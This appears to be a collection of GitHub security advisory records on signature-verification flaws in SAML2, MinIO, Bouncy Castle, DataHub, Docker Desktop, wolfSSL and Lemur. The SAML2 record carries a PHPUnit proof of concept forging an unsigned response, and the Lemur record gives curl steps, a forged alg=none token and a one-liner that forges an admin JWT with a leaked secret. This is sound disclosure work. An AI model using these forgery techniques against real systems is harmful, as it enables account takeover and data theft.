Configuration\n {\n // \"IdP-B\": the federated IdP the attacker controls; its signing cert is in metadata,\n // selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)\n return Configuration::loadFromArray([\n \u0027entityid\u0027 =\u003e \u0027https://idp-b.example/\u0027,\n \u0027keys\u0027 =\u003e [[\n \u0027type\u0027 =\u003e \u0027X509Certificate\u0027,\n \u0027signing\u0027 =\u003e true,\n \u0027encryption\u0027 =\u003e false,\n \u0027X509Certificate\u0027 =\u003e PEMCertificatesMock::getPlainCertificateContents(),\n ]],\n ], \u0027[idp-b]\u0027);\n }\n\n private function call(HTTPArtifact $ha, string $method, ...$args): mixed\n {\n return (new ReflectionMethod(HTTPArtifact::class, $method))-\u003einvoke($ha, ...$args);\n }\n\n public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void\n {\n $idpB = $this-\u003eidpBMetadata();\n $ha = new HTTPArtifact();\n\n // --- The forged embedded \u003csamlp:Response\u003e: UNSIGNED, claims to be from IdP-A. ---\n $embedded = $this-\u003ecreateStub(Response::class);\n $embedded-\u003emethod(\u0027isSigned\u0027)-\u003ewillReturn(false); // attacker omits the embedded signature\n $embedded-\u003emethod(\u0027getSignature\u0027)-\u003ewillReturn(null);\n // If receive() ever tried to cryptographically verify this, it would blow up here:\n $embedded-\u003emethod(\u0027verify\u0027)-\u003ewillThrowException(\n new Exception(\u0027POC-FAIL: embedded Response-\u003everify() was called \u2014 short-circuit absent\u0027),\n );\n\n // --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---\n $outer = $this-\u003ecreateStub(ArtifactResponse::class);\n $outer-\u003emethod(\u0027isSigned\u0027)-\u003ewillReturn(true);\n $outer-\u003emethod(\u0027isSuccess\u0027)-\u003ewillReturn(true);\n $outer-\u003emethod(\u0027verify\u0027)-\u003ewillReturnCallback(fn() =\u003e $outer); // valid signature under IdP-B\u0027s key\n $outer-\u003emethod(\u0027getSignature\u0027)-\u003ewillReturn(self::sigEl());\n $outer-\u003emethod(\u0027getMessage\u0027)-\u003ewillReturn($embedded);\n\n // ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====\n // 1. OUTER signature check \u2014 mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.\n $verifiedOuter = $this-\u003ecall($ha, \u0027verifyArtifactResponseSignature\u0027, $outer, $idpB);\n self::assertSame($outer, $verifiedOuter, \u0027Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata\u0027);\n\n // 2. Unwrap the embedded message.\n $samlResponse = $verifiedOuter-\u003egetMessage();\n\n // 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):\n $verifyMessageSignatureCalled = false;\n if (!$samlResponse-\u003eisSigned()) {\n $received = $samlResponse; // \u003c-- BYPASS: returned unverified\n } else {\n $verifyMessageSignatureCalled = true;\n $received = $this-\u003ecall($ha, \u0027verifyMessageSignature\u0027, $samlResponse, $idpB);\n }\n // ==================================================================================\n\n // OBSERVABLE: the unsigned embedded Response was accepted as \"received\" with no verification.\n self::assertFalse($samlResponse-\u003eisSigned(), \u0027Embedded Response carries no signature\u0027);\n self::assertFalse($verifyMessageSignatureCalled, \u0027verifyMessageSignature() was SKIPPED (short-circuit)\u0027);\n self::assertSame($embedded, $received, \u0027BYPASS CONFIRMED: unsigned embedded Response returned unverified\u0027);\n\n // NEGATIVE CONTROL: the short-circuit is load-bearing \u2014 the real verifier CANNOT accept the\n // unsigned message (no \u003cds:Signature\u003e to check), so removing the short-circuit would reject it.\n $threw = false;\n try {\n $this-\u003ecall($ha, \u0027verifyMessageSignature\u0027, $samlResponse, $idpB);\n } catch (\\Throwable $e) {\n $threw = true;\n }\n self::assertTrue($threw, \u0027Real verifyMessageSignature() rejects the unsigned Response \u2014 only the short-circuit accepts it\u0027);\n\n fwrite(STDERR, \"\\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response \"\n . \"=\u003e receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\\n\");\n }\n\n private const MINIMAL_SIG =\n \u0027\u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\u003cds:SignedInfo\u003e\u0027\n . \u0027\u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\u0027\n . \u0027\u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\u0027\n . \u0027\u003cds:Reference URI=\"#_x\"\u003e\u003cds:Transforms\u003e\u0027\n . \u0027\u003cds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\u003c/ds:Transforms\u003e\u0027\n . \u0027\u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\u003cds:DigestValue\u003eAA==\u003c/ds:DigestValue\u003e\u0027\n . \u0027\u003c/ds:Reference\u003e\u003c/ds:SignedInfo\u003e\u003cds:SignatureValue\u003eAA==\u003c/ds:SignatureValue\u003e\u003c/ds:Signature\u003e\u0027;\n\n private static function sigEl(): \\SimpleSAML\\XMLSecurity\\XML\\ds\\Signature\n {\n $doc = new \\DOMDocument(\u00271.0\u0027, \u0027UTF-8\u0027);\n $doc-\u003eloadXML(self::MINIMAL_SIG);\n return \\SimpleSAML\\XMLSecurity\\XML\\ds\\Signature::fromXML($doc-\u003edocumentElement);\n }\n}\n\n```\n\n\n## Proof-of-Concept source (`poc_output.txt`)\n\n```\nPHPUnit 13.2.4 by Sebastian Bergmann and contributors.\nRuntime: PHP 8.4.5\nConfiguration: /home/aoc/CVEs/saml2/phpunit.xml\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response =\u003e receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n. 1 / 1 (100%)\nTime: 00:00.036, Memory: 22.00 MB\n\u001b[30;42mOK (1 test, 5 assertions)\u001b[0m\n\n```",
"id": "GHSA-r7hw-jx6r-756g",
"modified": "2026-11-17T21:00:58Z",
"published": "2026-11-17T21:00:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/saml2/security/advisories/GHSA-r7hw-jx6r-756g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110782"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/saml2/commit/7b7fbb5322cb5607db3e5a329681f4886b1449fe"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/saml2/commit/9a21edb96de1f3ece3b40ccbe3b7de761917a06f"
},
{
"type": "PACKAGE",
"url": "https://github.com/simplesamlphp/saml2"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/saml2/releases/tag/v6.2.4"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/saml2/releases/tag/v7.0.0-rc2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)"
}
GHSA-R7WH-X6RF-8G63
Vulnerability from github – Published: 2026-09-25 03:31 – Updated: 2026-09-25 03:31MinIO through 7aac2a2 does not verify that every x-amz-* header present on a request also appears in the client-supplied X-Amz-SignedHeaders list. extractSignedHeaders() in cmd/signature-v4-utils.go iterates only the claimed list and never enumerates the headers that actually arrived, and thus a header that arrives unsigned is neither hashed into the canonical request nor rejected. Because cmd/api-router.go dispatches CopyObject on the presence of x-amz-copy-source alone, the holder of a presigned PUT URL scoped to a single object can add that header to the unmodified URL and cause a server-side copy, executed as the signer, of any object the signing key can read. A grant to write one object becomes a read of every bucket that key can reach. Amazon S3 rejects the equivalent request with HTTP 403 AccessDenied. The minio/minio GitHub repository was archived in April 2026; pgsty/silo before 1233254 is also affected.
{
"affected": [],
"aliases": [
"CVE-2026-97731"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T03:16:59Z",
"severity": "HIGH"
},
"details": "MinIO through 7aac2a2 does not verify that every x-amz-* header present on a request also appears in the client-supplied X-Amz-SignedHeaders list. extractSignedHeaders() in cmd/signature-v4-utils.go iterates only the claimed list and never enumerates the headers that actually arrived, and thus a header that arrives unsigned is neither hashed into the canonical request nor rejected. Because cmd/api-router.go dispatches CopyObject on the presence of x-amz-copy-source alone, the holder of a presigned PUT URL scoped to a single object can add that header to the unmodified URL and cause a server-side copy, executed as the signer, of any object the signing key can read. A grant to write one object becomes a read of every bucket that key can reach. Amazon S3 rejects the equivalent request with HTTP 403 AccessDenied. The minio/minio GitHub repository was archived in April 2026; pgsty/silo before 1233254 is also affected.",
"id": "GHSA-r7wh-x6rf-8g63",
"modified": "2026-09-25T03:31:01Z",
"published": "2026-09-25T03:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97731"
},
{
"type": "WEB",
"url": "https://github.com/pgsty/silo/commit/1233254309b15571f101b2b26d531951ceaeef1e"
},
{
"type": "WEB",
"url": "https://silo.pgsty.com/about/security-advisories/#sn-2026-011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R7XX-X336-XQQR
Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-09-10 21:31In Bouncy Castle for Java before 1.85, OpenPGP inline-signature policy failures silently ignored. This issue also affects Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 2.0.13.
{
"affected": [],
"aliases": [
"CVE-2026-59643"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T01:16:44Z",
"severity": "HIGH"
},
"details": "In Bouncy Castle for Java before 1.85, OpenPGP inline-signature policy failures silently ignored. This issue also affects Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 2.0.13.",
"id": "GHSA-r7xx-x336-xqqr",
"modified": "2026-09-10T21:31:14Z",
"published": "2026-08-03T03:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59643"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/d3f8cc408b4a36d28e5a410c93436fe3d0fe726b"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9059643"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-59643"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-R8GM-V65F-C973
Vulnerability from github – Published: 2022-10-31 22:42 – Updated: 2026-10-26 20:54Missing JWT signature check (GHSL-2022-078)
The StatelessTokenService of the DataHub metadata service (GMS) does not verify the signature of JWT tokens. This allows an attacker to connect to DataHub instances as any user if Metadata Service authentication is enabled. This vulnerability occurs because the StatelessTokenService of the Metadata service uses the parse method of io.jsonwebtoken.JwtParser, which does not perform a verification of the cryptographic token signature. This means that JWTs are accepted regardless of the used algorithm.
Impact
This issue may lead to an authentication bypass.
Resources
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "acryl-datahub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-39366"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-31T22:42:57Z",
"nvd_published_at": "2022-10-28T17:15:00Z",
"severity": "CRITICAL"
},
"details": "# Missing JWT signature check (`GHSL-2022-078`)\n\nThe [`StatelessTokenService`](https://github.com/datahub-project/datahub/blob/aa146db611e3a4ca3aa17bb740783f789d4444d3/metadata-service/auth-impl/src/main/java/com/datahub/authentication/token/StatelessTokenService.java#L30) of the DataHub metadata service (GMS) does not verify the signature of JWT tokens. This allows an attacker to connect to DataHub instances as any user if Metadata Service authentication is enabled. This vulnerability occurs because the `StatelessTokenService` of the Metadata service uses the [`parse`](https://github.com/datahub-project/datahub/blob/aa146db611e3a4ca3aa17bb740783f789d4444d3/metadata-service/auth-impl/src/main/java/com/datahub/authentication/token/StatelessTokenService.java#L134) method of `io.jsonwebtoken.JwtParser`, which does not perform a verification of the cryptographic token signature. This means that JWTs are accepted regardless of the used algorithm.\n\n#### Impact\n\nThis issue may lead to an authentication bypass.\n\n#### Resources\n\n* [CodeQL: Missing JWT signature check](https://codeql.github.com/codeql-query-help/java/java-missing-jwt-signature-check/)",
"id": "GHSA-r8gm-v65f-c973",
"modified": "2026-10-26T20:54:07Z",
"published": "2022-10-31T22:42:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/datahub-project/datahub/security/advisories/GHSA-r8gm-v65f-c973"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39366"
},
{
"type": "WEB",
"url": "https://codeql.github.com/codeql-query-help/java/java-missing-jwt-signature-check"
},
{
"type": "PACKAGE",
"url": "https://github.com/datahub-project/datahub"
},
{
"type": "WEB",
"url": "https://github.com/datahub-project/datahub/blob/aa146db611e3a4ca3aa17bb740783f789d4444d3/metadata-service/auth-impl/src/main/java/com/datahub/authentication/token/StatelessTokenService.java#L134"
},
{
"type": "WEB",
"url": "https://github.com/datahub-project/datahub/blob/aa146db611e3a4ca3aa17bb740783f789d4444d3/metadata-service/auth-impl/src/main/java/com/datahub/authentication/token/StatelessTokenService.java#L30"
},
{
"type": "WEB",
"url": "https://github.com/datahub-project/datahub/releases/tag/v0.8.45"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/acryl-datahub/PYSEC-2026-252.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/acryl-datahub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "acryl-datahub missing JWT signature check"
}
GHSA-R8RF-X7CJ-7933
Vulnerability from github – Published: 2026-10-09 15:31 – Updated: 2026-10-09 15:31Before 4.92.0, Docker Desktop for Windows did not verify the signature of a package supplied to Docker Desktop Installer.exe install -package. An attacker able to provide a crafted package and convince a user to approve the Docker-signed UAC prompt could execute attacker-controlled installer actions as LocalSystem.
{
"affected": [],
"aliases": [
"CVE-2026-106581"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-09T14:17:18Z",
"severity": "HIGH"
},
"details": "Before 4.92.0, Docker Desktop for Windows did not verify the signature of a package supplied to Docker Desktop Installer.exe install -package. An attacker able to provide a crafted package and convince a user to approve the Docker-signed UAC prompt could execute attacker-controlled installer actions as LocalSystem.",
"id": "GHSA-r8rf-x7cj-7933",
"modified": "2026-10-09T15:31:30Z",
"published": "2026-10-09T15:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106581"
},
{
"type": "WEB",
"url": "https://docs.docker.com/desktop/release-notes/#4920"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R98J-G9P3-FCGM
Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-27 21:30PKCS#12 MAC verification uses an attacker-controlled comparison length, weakening the integrity check on the MAC and allowing a mismatched MAC to be accepted. The PKCS#12 verify path compared the locally computed HMAC against the MAC parsed from the PKCS#12 structure using a length taken directly from the attacker-supplied input, without first verifying that it equals the length of the digest actually produced by the configured algorithm. A truncated or zero-length stored MAC could therefore be accepted, defeating the integrity protection of the MAC.
{
"affected": [],
"aliases": [
"CVE-2026-6329"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T22:17:02Z",
"severity": "MODERATE"
},
"details": "PKCS#12 MAC verification uses an attacker-controlled comparison length, weakening the integrity check on the MAC and allowing a mismatched MAC to be accepted. The PKCS#12 verify path compared the locally computed HMAC against the MAC parsed from the PKCS#12 structure using a length taken directly from the attacker-supplied input, without first verifying that it equals the length of the digest actually produced by the configured algorithm. A truncated or zero-length stored MAC could therefore be accepted, defeating the integrity protection of the MAC.",
"id": "GHSA-r98j-g9p3-fcgm",
"modified": "2026-06-27T21:30:28Z",
"published": "2026-06-26T00:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6329"
},
{
"type": "WEB",
"url": "https://github.com/wolfSSL/wolfssl/pull/10192"
},
{
"type": "WEB",
"url": "https://www.wolfssl.com/docs/security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R9GP-7F88-9R54
Vulnerability from github – Published: 2026-06-25 22:05 – Updated: 2026-06-25 22:05Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header — defense-in-depth gap; chain-dependent ATO with secret disclosure
Vulnerability Summary
| Field | Value |
|---|---|
| Title | Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header — defense-in-depth gap; chain-dependent ATO with secret disclosure |
| Component | lemur/lemur/auth/service.py:130-137 |
| CWE | CWE-347 (Improper Verification of Cryptographic Signature) |
| Attack Prerequisite | Defense-in-depth gap on its own — no single-request exploit against PyJWT 2.x. Single-request ATO requires a separate disclosure issue that leaks LEMUR_TOKEN_SECRET, or a future migration to asymmetric signing without fixing this sink. |
| Affected Versions | github.com/Netflix/lemur version = "1.9.0". Same code present in every prior release that has the auth/service.py:130 block. |
Executive Summary
The Lemur JWT verifier reads the alg header field from the unverified token and passes it straight into pyjwt.decode(..., algorithms=[header['alg']]). This is a classic JWT antipattern: the server is supposed to pin the algorithm, not the attacker. PyJWT 2.x's default config rejects alg=none, so this is not a single-request ATO today — I want to be precise about that. The bug is a hardening gap with two real consequences. First, if the deployment ever migrates to asymmetric signing (RS256/ES256), an attacker can pin alg=HS256 and forge tokens using the public key as the HMAC secret — the legacy "RS256→HS256 confusion" trick. Second, the audit-log surface that records alg to flag anomalous tokens is filled in from the attacker's header, so anomaly detection is blinded. I'm submitting this honestly at MEDIUM 4.8 (defense-in-depth) rather than inflating it; the chain to single-request ATO is documented but it depends on a separate disclosure bug.
Walkthrough: https://asciinema.org/a/2Blv9r4DoOleUk7a
Description
lemur/lemur/auth/service.py:130-137:
try:
header_data = fetch_token_header(token)
payload = decode_with_multiple_secrets(
token, token_secrets, algorithms=[header_data["alg"]]
)
except jwt.DecodeError:
return dict(message="Token is invalid"), 403
fetch_token_header decodes the JWT's first segment (base64-decoded JSON, no signature check) and returns the header object. header_data["alg"] is whatever the bearer of the token put there. That value is then handed to decode_with_multiple_secrets, which calls pyjwt.decode(..., algorithms=[<attacker_value>]). The algorithms parameter is meant to be the server's pinned allowlist of acceptable signing algorithms — the line that says "I will accept HS256 and nothing else". By reading it from the token, Lemur asks the attacker which algorithm to trust.
Why this is MEDIUM and not CRITICAL today: PyJWT 2.x's decode() rejects alg=none regardless of the algorithms parameter (PyJWT enforces this in jwt.algorithms.NoneAlgorithm.verify). I confirmed this in the lab — a forged alg=none token comes back as HTTP 403 {"error":"When alg = \"none\", key value must be None.","message":"Failed to decode token"}. The classic single-request alg=none ATO is closed by the library, not by Lemur.
Why this still matters:
- Algorithm confusion is exactly what
algorithms=is supposed to prevent. The widely-cited "RS256→HS256 confusion" attack works by pinningalg=HS256and using the RS256 public key as the HMAC secret. The fix everyone teaches for that attack is "server pins the algorithm". Lemur doesn't, so the protection has a hole the moment the deployment moves to asymmetric signing. - The PyJWT 2.x mitigation is a library default, not a Lemur design choice. A future PyJWT major that loosens the
nonecheck, or a downgrade to a vulnerable PyJWT for any reason, re-opens single-request ATO. Defense-in-depth means not relying on library defaults to backstop the framework's own validation. - Audit blindness. Logging tooling that consumes
algto detect "this token claims an algorithm we don't issue" sees only what the attacker put in the header. A realHS256token forged by an attacker who pinsalg=ES256(or any garbage that survivesdecode) bypasses naive alg-based anomaly heuristics. - The chain to single-request ATO is short. Any separate disclosure issue that leaks
LEMUR_TOKEN_SECRET(a debug page, an unguarded/metrics, an SSRF-to-config, an S3 backup leak, a git history accident) immediately turns into HS256 forgery — and the alg-from-header sink leaves the verifier downgradeable even after an operator migrates to RS256 later.
I'm framing this as a hardening defect at MEDIUM 4.8 because that's what the evidence supports. The chain step (config disclosure → forge admin) is demonstrated in the lab as a clear "what happens if this chain links" walk-through, not as a primary claim.
Proof of Concept & Steps to Reproduce
Walkthrough: https://asciinema.org/a/2Blv9r4DoOleUk7a. Offline cast: lemur_jwt_alg_hardening.cast. Harness: lemur_jwt_alg_hardening/support/ (lemur_jwt_mock.py mirrors lemur/auth/service.py:130-137 line-for-line).
Prerequisites: Docker, curl, jq, python3 with PyJWT.
Run
cd lemur_jwt_alg_hardening/
EXPLOIT_FAST=1 ./exploit_code.sh
Step 1 — Baseline legitimate login
curl -sS -X POST http://127.0.0.1:18001/api/1/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"operator@netflix.example"}'
Response (evidence/03_login_response.json):
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....",
"user":{"active":true,"email":"operator@netflix.example","id":1,"role":"operator"}}
/api/1/users/me with that token returns 200 — baseline auth path works.
Step 2 — Confirm the antipattern in source
docker exec lemur-jwt-alg-hardening-harness cat /app/evidence-src/jwt_sink.txt
Output is the verbatim Lemur block:
# lemur/lemur/auth/service.py:130-137
try:
header_data = fetch_token_header(token)
payload = decode_with_multiple_secrets(
token, token_secrets, algorithms=[header_data["alg"]] # <-- antipattern
)
except jwt.DecodeError:
return dict(message="Token is invalid"), 403
The mock applies the same code path. No transformation, no allowlist, no server pin.
Step 3 — Forge alg=none (PyJWT 2.x rejects)
curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
http://127.0.0.1:18001/api/1/users/me \
-H 'Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyLCAiZW1haWwiOiAiYWRtaW5AbmV0ZmxpeC5leGFtcGxlIn0.'
Response (evidence/05_alg_none_attempt.json): HTTP 403. Body: {"error":"When alg = \"none\", key value must be None.","message":"Failed to decode token"}.
This is honest: PyJWT 2.x closes the single-request alg=none path. The antipattern is not directly exploitable at this PyJWT version.
Step 4 — Chain demo: config disclosure → HS256 forgery
The lab simulates an upstream disclosure issue by docker exec-ing into the container and reading /app/lemur.conf.py. In production this corresponds to any of: a /metrics page that echoes config, a debug error that prints current_app.config, an SSRF that reaches file:///app/lemur.conf.py, a misindexed git history, an S3 backup with the config file. The lab does not invent a separate vulnerability — it documents what happens when one of those exists.
docker exec lemur-jwt-alg-hardening-harness cat /app/lemur.conf.py
# LEMUR_TOKEN_SECRET = 'lab-deploy-token-secret-DO-NOT-USE-IN-PROD-aabbccdd11'
Forge an admin JWT with the leaked secret:
python3 -c "import jwt; print(jwt.encode({'sub':2,'email':'admin@netflix.example'}, '<leaked>', algorithm='HS256'))"
# eyJhbGciOiJIUzI1NiIs...
Send it:
curl -sS http://127.0.0.1:18001/api/1/users/me \
-H "Authorization: Bearer $FORGED_ADMIN"
Response (evidence/06_forged_admin_response.json):
{"payload":{"email":"admin@netflix.example","sub":2},
"user":{"active":true,"email":"admin@netflix.example","id":2,"role":"admin"}}
HTTP 200, role=admin. The forgery succeeds because (a) the attacker picked alg=HS256, (b) the server didn't pin its own algorithm, and (c) the secret was disclosed by the separate upstream issue. If the alg-from-header sink were fixed, even a leaked HS256 secret would not extend to whatever asymmetric algorithm the operator migrates to next — the attacker would have to also break the asymmetric key.
Step 5 — Verdict
VERDICT: ANTIPATTERN CONFIRMED — chain-dependent ATO
1. lemur/auth/service.py:130-137 passes attacker-controlled alg into decode()
2. PyJWT 2.x rejects alg=none, so the antipattern is NOT directly exploitable
3. Chained with upstream config disclosure → HS256 forgery wins
# Exploit Code & Lab Set-up
[Lemur-jwt-alg-hardening.zip](https://github.com/user-attachments/files/28317909/Lemur-jwt-alg-hardening.zip)
Root Cause Analysis
The pattern in auth/service.py:130-137 is what every JWT-library author warns against. pyjwt.decode's algorithms parameter exists precisely to pin the server's accepted set; the documentation calls out that callers should never pass the value from the token header. The author of this block likely intended to support multiple deployment configurations (some on HS256, some on RS256) and dispatched on the token's claimed algorithm — but the right way to do that is algorithms=current_app.config["JWT_ACCEPTED_ALGS"] (a server-pinned list), not algorithms=[header_data["alg"]] (the attacker's preference).
The PyJWT 2.x mitigation is the only thing standing between this code and a single-request alg=none ATO. That mitigation lives in PyJWT's NoneAlgorithm.verify, which raises InvalidKeyError when alg=none is supplied with a non-None key. Lemur passes a real key, so the path raises and Lemur catches it as jwt.DecodeError and returns 403. Good — but the protection is in the dependency, not in Lemur's code. A PyJWT-1.x backport, an accidental downgrade, or a future PyJWT behaviour change re-opens the door.
The RS256→HS256 confusion variant is the more durable concern. If an operator migrates Lemur from HS256 to RS256 — a normal hardening step — the attacker pins alg=HS256 in the header and uses the RS256 public key as the HMAC secret. PyJWT 2.x's decode_complete does call _verify_signature with the supplied algorithm, and if the algorithm is HS256 and the "secret" is the bytes of the RS256 public key, the verifier passes. The fix is a server-pinned algorithm list; if the server only accepts ["RS256"], an attacker-supplied alg=HS256 token fails at the algorithms check before any key material is consulted.
The MEDIUM 4.8 score honestly reflects what's exploitable today: the antipattern is real, the impact today is limited to (a) audit-log blinding and (b) a downgrade primitive that activates under separate conditions. I'm explicitly not claiming RS256→HS256 against current Lemur because Lemur today is HS256 — the "RS256 → HS256" trick doesn't apply because Lemur's secret arg is HMAC bytes, not an RSA pubkey. The fix is still worth making.
Attack Scenario
sequenceDiagram
participant Attacker
participant Lemur as Lemur API
participant Disclosure as Disclosure surface
participant Audit as Audit logging
Note over Attacker,Lemur: "Today: PyJWT 2.x mitigation holds for alg=none"
Attacker->>Lemur: "Bearer alg=none token with [payload]"
Lemur->>Lemur: "pyjwt.decode raises (alg=none + non-None key)"
Lemur-->>Attacker: "403 Forbidden"
Note over Disclosure,Lemur: "Chain step: separate disclosure leaks LEMUR_TOKEN_SECRET"
Attacker->>Disclosure: "trigger debug / SSRF / backup leak"
Disclosure-->>Attacker: "LEMUR_TOKEN_SECRET value"
Note over Attacker,Lemur: "Forge HS256 admin token with leaked secret"
Attacker->>Lemur: "Bearer alg=HS256 admin token signed with leaked secret"
Lemur->>Lemur: "algorithms=[HS256] (taken from header) — accepted"
Lemur-->>Attacker: "200 OK, role=admin"
Note over Audit: "alg=HS256 in audit log - no anomaly flag because attacker picks alg"
Impact Assessment
Today, in a fully-patched Lemur 1.9.0 on PyJWT 2.x, the standalone impact is C:L (audit-log surface is attacker-influenced) / I:L (an attacker who controls alg can downgrade a future verifier upgrade) / A:N. The vector requires no user interaction — the attacker just sends a crafted token directly — but AC:H reflects the real-world conditions that have to align (PyJWT version, future migration to asymmetric signing, or a separate disclosure issue) before standalone impact materializes. That's the 4.8 MEDIUM score. The chain step to single-request ATO depends on a separate disclosure issue, which I'm not claiming as part of this report.
The reason this is worth fixing now rather than later is that it's a one-line change with no behavioural risk, and the consequence of leaving it in place is a permanent downgrade vector against any algorithm migration Netflix later decides to do. Lemur's role in the certificate-signing pipeline makes its session tokens unusually high-value — anyone who forges a Lemur admin JWT can issue, revoke, and exfiltrate certificates across the org. The Lemur PKI compromise report submitted separately (ACME acme_url SSRF + creator IDOR) shows what an admin Lemur identity can do in practice.
If Lemur ever moves to asymmetric signing without fixing this sink, the score moves to CRITICAL on the same day. Fix it now.
Remediation
One-line server pin:
# lemur/lemur/auth/service.py:130-137
allowed_algs = current_app.config.get("JWT_ALGORITHMS", ["HS256"])
try:
payload = decode_with_multiple_secrets(
token, token_secrets, algorithms=allowed_algs
)
except jwt.DecodeError:
return dict(message="Token is invalid"), 403
Three follow-ups worth doing at the same time:
